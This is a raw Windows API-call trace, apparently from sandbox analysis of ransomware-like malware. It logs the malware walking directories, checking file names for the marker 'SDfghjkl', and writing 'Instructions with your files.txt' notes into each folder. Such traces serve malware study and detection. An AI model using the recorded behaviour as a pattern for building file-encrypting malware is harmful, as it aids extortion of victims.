[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0117.253] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 79
[0117.253] StrStrIW (lpFirst="VisiorWW.cab", lpSrch="SDfghjkl") returned 0x0
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 79
[0117.253] StrStrIW (lpFirst="VisiorWW.msi", lpSrch="SDfghjkl") returned 0x0
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 79
[0117.253] StrStrIW (lpFirst="VisiorWW.xml", lpSrch="SDfghjkl") returned 0x0
[0117.253] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0
[0117.253] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0117.254] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0117.254] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0117.255] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0117.256] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0117.256] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0117.256] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0117.256] CloseHandle (hObject=0x10c) returned 1
[0117.256] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0117.256] GetProcessHeap () returned 0x810000
[0117.256] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0117.256] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8a83fc80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8a83fc80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0
[0117.256] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\Instructions with your files.txt") returned 58
[0117.256] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0117.339] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0117.339] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0117.339] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0117.339] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0117.340] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0117.340] CloseHandle (hObject=0x108) returned 1
[0117.340] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0117.340] GetProcessHeap () returned 0x810000
[0117.340] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0117.340] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0
[0117.340] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\Instructions with your files.txt") returned 48
[0117.340] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\Instructions with your files.txt" (normalized: "c:\\msocache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0117.363] WriteFile (in: hFile=0x104, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf644*=0x54, lpOverlapped=0x0) returned 1
[0117.364] WriteFile (in: hFile=0x104, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf644*=0x18, lpOverlapped=0x0) returned 1
[0117.364] WriteFile (in: hFile=0x104, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf644*=0xc, lpOverlapped=0x0) returned 1
[0117.364] WriteFile (in: hFile=0x104, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf644*=0x16, lpOverlapped=0x0) returned 1
[0117.364] WriteFile (in: hFile=0x104, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf644*=0x23, lpOverlapped=0x0) returned 1
[0117.364] CloseHandle (hObject=0x104) returned 1
[0117.364] FindClose (in: hFindFile=0x82f240 | out: hFindFile=0x82f240) returned 1
[0117.364] GetProcessHeap () returned 0x810000
[0117.364] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0117.364] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x9bcfb880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
[0117.364] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\pagefile.sys") returned 19
[0117.364] StrStrIW (lpFirst="pagefile.sys", lpSrch="SDfghjkl") returned 0x0
[0117.364] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
[0117.365] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs") returned 15
[0117.365] GetProcessHeap () returned 0x810000
[0117.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0117.365] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\PerfLogs\\*") returned 17
[0117.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f240
[0117.365] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\.") returned 17
[0117.365] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.365] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\..") returned 18
[0117.365] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1
[0117.365] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin") returned 21
[0117.365] GetProcessHeap () returned 0x810000
[0117.365] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0117.365] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\*") returned 23
[0117.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0117.365] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\.") returned 23
[0117.365] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.365] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\..") returned 24
[0117.365] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0117.366] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Admin\\Instructions with your files.txt") returned 54
[0117.366] CreateFileW (lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\Instructions with your files.txt" (normalized: "c:\\perflogs\\admin\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0118.240] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0118.250] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0118.250] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0118.252] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0118.252] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0118.252] CloseHandle (hObject=0x108) returned 1
[0118.260] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0118.262] GetProcessHeap () returned 0x810000
[0118.262] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0118.266] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0
[0118.266] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\PerfLogs\\Instructions with your files.txt") returned 48
[0118.266] CreateFileW (lpFileName="\\\\?\\C:\\PerfLogs\\Instructions with your files.txt" (normalized: "c:\\perflogs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0118.628] WriteFile (in: hFile=0x104, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf644*=0x54, lpOverlapped=0x0) returned 1
[0118.635] WriteFile (in: hFile=0x104, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf644*=0x18, lpOverlapped=0x0) returned 1
[0118.635] WriteFile (in: hFile=0x104, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf644*=0xc, lpOverlapped=0x0) returned 1
[0118.635] WriteFile (in: hFile=0x104, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf644*=0x16, lpOverlapped=0x0) returned 1
[0118.635] WriteFile (in: hFile=0x104, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf644*=0x23, lpOverlapped=0x0) returned 1
[0118.635] CloseHandle (hObject=0x104) returned 1
[0118.635] FindClose (in: hFindFile=0x82f240 | out: hFindFile=0x82f240) returned 1
[0118.635] GetProcessHeap () returned 0x810000
[0118.636] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0118.636] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa41d4d30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa41d4d30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
[0118.636] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
[0118.636] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
[0118.636] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData") returned 18
[0118.636] GetProcessHeap () returned 0x810000
[0118.636] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0118.636] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\*") returned 20
[0118.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\*", lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f240
[0118.636] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\.") returned 20
[0118.636] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0118.636] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.636] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\..") returned 21
[0118.636] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
